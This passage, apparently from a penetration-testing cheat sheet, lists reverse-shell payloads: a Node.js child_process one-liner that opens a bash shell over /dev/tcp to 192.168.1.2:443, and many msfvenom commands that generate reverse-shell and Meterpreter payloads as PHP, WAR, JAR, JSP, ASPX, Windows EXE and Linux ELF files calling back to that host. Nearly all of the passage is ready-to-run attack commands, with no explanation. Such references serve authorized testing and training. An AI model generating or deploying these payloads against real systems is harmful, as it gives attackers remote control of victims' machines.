p.waitFor()

---

Node

require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');

---

Msfvenom

Web Payloads

PHP Payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

War Payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war

JAR Payload

msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar

JSP Payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp

ASPX Payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx

---

Windows Payloads

Windows Listener Netcat

x86 - Shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

Windows Listener Metasploit Multi Handler

x86 - Meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Meterpreter

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x86 - Shell

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Shell

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

---

Linux Payloads

Linux Listener Netcat

x86 - Shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Shell

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

---

Linux Listener Metasploit Multi Handler

x86 - Meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Meterpreter

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x86 - Shell

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Shell

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

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